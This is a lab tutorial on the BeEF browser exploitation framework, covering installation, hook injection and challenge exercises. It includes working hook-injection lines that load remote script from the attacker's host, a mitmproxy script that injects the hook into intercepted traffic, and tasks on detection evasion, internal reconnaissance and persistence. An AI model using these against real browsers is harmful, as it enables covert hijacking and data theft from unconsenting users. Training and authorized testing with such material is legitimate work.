This comprehensive lab guide will walk you through setting up the Browser Exploitation Framework (BeEF), creating browser hooks, and exploring advanced exploitation techniques in a controlled environment.
BeEF (The Browser Exploitation Framework) is a penetration testing tool that focuses on the web browser. It enables security professionals to assess the actual security posture of a target environment by using client-side attack vectors.
Lab Overview & Objectives
- Install and configure BeEF from GitHub source
- Understand BeEF's architecture and components
- Create effective browser hooks using various methods
- Explore BeEF's command modules and capabilities
- Execute advanced client-side attacks
- Develop evasion techniques for modern defenses
- Kali Linux or similar penetration testing distribution
- Basic familiarity with Linux command line
- Understanding of web technologies (HTML, JavaScript)
- Virtualization software for target machines
- Isolated lab network environment
Part 1: BeEF Installation & Configuration
Step 1: Clone BeEF from GitHub
Open a terminal and navigate to your preferred directory, then clone the official BeEF repository:
cd ~/Desktop
git clone https://github.com/beefproject/beef.gitThis command downloads the latest BeEF source code to your system.
Step 2: Install Dependencies
Navigate to the BeEF directory and run the installation script:
cd beef
./installThis script will install all required Ruby gems and dependencies. Follow any on-screen prompts.
sudo apt install ruby-dev build-essential libsqlite3-devStep 3: Start BeEF & Identify Hook URL
Launch BeEF with the following command:
./beefBeEF will start and display important information including the hook URL and admin interface URL.
- Hook URL: http://YOUR_IP:3000/hook.js
- Admin UI: http://YOUR_IP:3000/ui/panel
- Default Credentials: beef/beef
Step 4: Secure Your Installation
Change the default credentials before proceeding with testing:
nano config.yamlLocate the credentials section and change the default username and password:
credentials:
user: "beef"
passwd: "beef"Change these to secure values and restart BeEF.
Part 2: Browser Hooking Techniques
Basic Hook Injection
The simplest method to hook a browser is by injecting the BeEF hook script into a web page:
<script src="http://<YOUR_BEEF_IP>:3000/hook.js"></script>Place this line in the <head> section of any HTML page to hook browsers that visit it.
Setting Up a Hook Server
Create a simple web server to host your hook page:
# Create a basic HTML file with the hook
echo '<html><head><script src="http://<YOUR_IP>:3000/hook.js"></script></head><body><h1>Welcome!</h1></body></html>' > hook.html
# Start a Python web server
python3 -m http.server 8080Now direct targets to http://YOUR_IP:8080/hook.html to hook their browsers.
Advanced: Man-in-the-Middle Hook Injection
For more advanced scenarios, you can use tools like mitmproxy to inject the hook into web traffic:
# Install mitmproxy
sudo apt install mitmproxy
# Create a script to inject the BeEF hook
echo 'def response(flow):
if flow.response.headers.get("content-type", "").startswith("text/html"):
hook_code = "<script src=\\"http://YOUR_IP:3000/hook.js\\"></script>"
flow.response.text = flow.response.text.replace("</head>", hook_code + "</head>")' > beef_injector.py
# Run mitmproxy with the injection script
mitmproxy -s beef_injector.py --mode transparentThis approach requires ARP spoofing to position yourself as a man-in-the-middle.
Part 3: Challenge Labs
Challenge 1: Basic Hook Establishment
Objective: Successfully hook a browser using the basic script injection method.
Steps:
- Set up BeEF and note your hook URL
- Create a simple HTML page with the hook script
- Host the page using a web server
- Access the page from a target browser
- Verify the hook appears in the BeEF control panel
Success Criteria: Browser appears in the "Online Browsers" section of BeEF.
Challenge 2: Evading Basic Detection
Objective: Modify the hook delivery method to evade basic security detection.
Techniques to Try:
- Obfuscate the JavaScript hook code
- Use domain name instead of IP address
- Implement delayed loading of the hook script
- Use HTTPS if possible (requires certificate setup)
Success Criteria: Hook remains active despite basic security measures.
Challenge 3: Command Module Execution
Objective: Execute at least three different command modules against a hooked browser.
Suggested Modules:
- Get Geolocation (Browser → Details → Geolocation)
- Get Visited URLs (Browser → Hooked Domain → Get Visited URLs)
- Social Engineering: Fake Flash Update (Social Engineering → Fake Flash Update)
Success Criteria: Successful execution and results from three different modules.
Challenge 4: Internal Network Recon
Objective: Use the hooked browser as a pivot to discover internal network resources.
Techniques:
- Use the "Get Internal IP" module
- Port scan the local network from the browser perspective
- Identify internal domain names via DNS queries
Success Criteria: Map at least 3 internal network resources not directly accessible from your attack machine.
Challenge 5: Persistence Mechanism
Objective: Establish a persistent hook that survives browser restarts.
Approaches:
- Exploit browser vulnerabilities for persistence
- Use social engineering to create a bookmarklet
- Infect a frequently visited local page
Success Criteria: Hook remains active after browser restart.
Conclusion & Next Steps
You've now completed the basic to advanced BeEF framework lab, covering installation, configuration, hooking techniques, and several challenging scenarios. BeEF is a powerful tool in the penetration tester's arsenal for assessing client-side security.
- Explore BeEF's REST API for automation
- Develop custom command modules
- Integrate BeEF with other penetration testing tools
- Study browser security mechanisms and bypass techniques
- Practice responsible disclosure when finding vulnerabilities
The skills learned in this lab should only be applied in ethical security testing contexts with proper authorization. Always obtain written permission before testing any systems, and adhere to responsible disclosure practices for any vulnerabilities discovered.